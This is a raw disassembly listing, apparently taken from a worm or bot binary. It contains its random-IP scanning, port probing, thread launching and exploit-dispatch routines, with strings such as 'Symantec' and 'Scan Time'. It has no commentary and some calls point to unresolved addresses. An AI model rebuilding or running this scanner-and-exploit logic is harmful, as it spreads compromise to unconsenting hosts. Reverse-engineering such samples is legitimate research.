var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317C4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_43180C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431858
		push	eax
		call	sub_41B886
		cmp	dword_431408, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431848
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431408, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431408
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431874
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2D45ABE8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4318F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431414[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		nop
		call	near ptr 2670000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 2680835h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A18
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		call	near ptr 2670000h
		nop
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2680835h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43141C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2680835h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431948
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431418[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		call	near ptr 2670000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		call	near ptr 2680835h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431914
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26907AFh
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A74
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A4C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43140C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		call	near ptr 2670EA1h
		nop
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		nop
		call	near ptr 26E074Ch
		push	80000400h
		push	esi
		nop
		call	near ptr 26E063Fh
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B58
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
